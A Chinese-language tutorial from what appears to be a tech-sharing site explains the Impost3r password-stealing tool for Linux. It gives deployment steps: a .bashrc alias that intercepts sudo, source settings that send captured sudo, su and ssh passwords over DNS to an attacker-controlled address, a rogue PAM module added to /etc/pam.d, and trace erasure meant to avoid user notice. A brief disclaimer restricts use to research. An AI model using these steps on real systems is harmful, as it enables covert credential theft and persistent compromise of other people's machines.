您好,登錄后才能下訂單哦!
這篇文章將為大家詳細講解有關Impost3r是一款什么工具,小編覺得挺實用的,因此分享給大家做個參考,希望大家閱讀完這篇文章后可以有所收獲。
Impost3r是一款針對Linux平臺的密碼管理工具,該工具采用C語言開發,可以幫助廣大研究人員在滲透測試的過程中,從目標Linux主機中獲取各類密碼(ssh、su、sudo)。
此工具僅限于安全研究和教學,請不要將其用于惡意目的。
1、 自動擦除密碼竊取行為痕跡;
2、 通過DNS協議傳輸結果;
3、 無需用戶交互,用戶無法察覺;
廣大研究人員可以使用下列命令將該項目源碼克隆至本地:
git clone https://github.com/ph5ntonn/Impost3r.git
Impost3r可以用來竊取包括sudo、su、ssh服務在內的密碼,這三個服務可大致分為2類,sudo以及ssh/su,下面分兩種情況討論。
僅需要普通用戶權限即可,不要求一定是root,但只能竊取對應用戶的密碼,不能竊取其他用戶的。
首先假設攻擊者控制了一臺服務器,權限為普通用戶權限。拷貝一份用戶的.bashrccp ~/.bashrc /tmp/,并將這份副本放在攻擊者自定義的路徑下(本例中放置在/tmp/
目錄下,攻擊者可以修改)。修改用戶根目錄下的.bashrc(~/.bashrc)
,在最后一行添加如下語句(其中“/tmp/.impost3r
”需要與下面的FILENAME保持一致):
alias sudo='impost3r() { if [ -f "/tmp/.impost3r" ]; then /tmp/.impost3r "$@" && unalias sudo else unalias sudo;sudo "$@" fi }; impost3r'
添加完成后,保存文件并執行:
source ~/.bashrc
接著攻擊者需要對Impost3r源代碼/sudo/main.c
進行修改:
/* Custom setting */ # define FILENAME "/tmp/.impost3r" \\設置Impost3r在目標服務器上的位置 # define BACKUP_BASHRC "/tmp/.bashrc" \\設置攻擊者備份的源.bashrc在目標服務器上的位置 # define SAVE_OR_SEND 0 \\設置在竊取成功后是將結果保存在目標機器上或者是發送至攻擊者控制的機器(發送=0,保存=1,默認為發送) /* Send to server */ # define MAX_RESEND 30 \\設置當竊取到密碼之后,Impost3r向攻擊者服務器發送用戶密碼的最大重試次數 # define RESEND_INTERVAL 5 \\設置每一次發送密碼的間隔 # define REMOTE_ADDRESS "192.168.0.12" \\設置回送密碼的遠程地址 # define REMOTE_PORT 53 \\設置回送密碼的遠程端口 /* Save to local */ # define SAVE_LOCATION "/tmp/.cache" \\設置結果文件保存的位置,在SAVE_OR_SEND設置為1的情況下
修改完成后,保存并在當前目錄執行:
make
在當前目錄下得到編譯完成的.impost3r
文件,上傳.impost3r
文件至目標服務器的/tmp/
文件夾下(僅為示例,可自行修改,只需與源代碼中定義相同即可)。攻擊者在自己的服務器上啟動dns服務端程序,等待合法用戶使用sudo后獲取密碼。
注意事項:在竊取sudo密碼的情況下,Impost3r在成功后將會自動擦除痕跡,并不需要攻擊者上去手動清理。
竊取ssh/su密碼與上面sudo密碼的竊取利用方法不同,要求必須是root權限,可以竊取任意用戶密碼
以Ubuntu為例,首先還是假設攻擊者控制了一臺服務器,通過一頓提權操作獲得了root權限(或者可愛的管理員就是用root權限啟動的服務),先編輯Impost3r的/ssh_su/main.c
源代碼文件。
/* Custom setting */ # define SSH_OR_BOTH 0 \\設置偷取模式,0代表僅偷取ssh密碼,1代表偷取ssh及su密碼,默認為0(后面會講到區別) # define SAVE_OR_SEND 0 \\設置在竊取成功后是將結果保存在目標機器上或者是發送至攻擊者控制的機器(發送=0,保存=1,默認為發送) /* Send to server */ # define MAX_RESEND 30 \\設置當竊取到密碼之后,Impost3r向攻擊者服務器發送用戶密碼的最大重試次數(僅當SSH_OR_BOTH為0,此選項才有效) # define RESEND_INTERVAL 5 \\設置每一次發送密碼的間隔(僅當SSH_OR_BOTH為0,此選項才有效) # define REMOTE_ADDRESS "192.168.0.12" \\設置回送密碼的遠程地址 # define REMOTE_PORT 53 \\設置回送密碼的遠程端口 /* Save to local */ # define SAVE_LOCATION "/tmp/.sshsucache" \\設置結果文件保存的位置,在SAVE_OR_SEND設置為1的情況下
修改完成后,保存并在當前目錄下執行:
make
得到編譯好的文件impost3r.so
,將編譯完成的impost3r.so
上傳至目標機器的/lib/x86_64-linux-gnu/security
下(不同機器可能文件夾名不同,請根據情況放置)。進入/etc/pam.d
下,這時分兩種情況,如果選擇的模式是僅偷取ssh密碼,那么就需要執行vi sshd
,在文件的最后添加如下語句:
auth optional impost3r.so account optional impost3r.so
保存并退出,重啟sshd服務:
service sshd restart
而如果選擇的是ssh和su密碼一起偷取,那么就需要執行:
vi common-auth
添加相同語句,保存并退出后同樣重啟sshd服務。攻擊者在自己的服務器上啟動dns服務端程序,等待合法用戶使用ssh登陸目標機器或者使用su切換用戶后獲取密碼。
注意事項:在竊取ssh/su密碼的情況下,Impost3r由于權限原因無法清除痕跡,需要攻擊者自己去清除。
關于“Impost3r是一款什么工具”這篇文章就分享到這里了,希望以上內容可以對大家有一定的幫助,使各位可以學到更多知識,如果覺得文章不錯,請把它分享出去讓更多的人看到。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。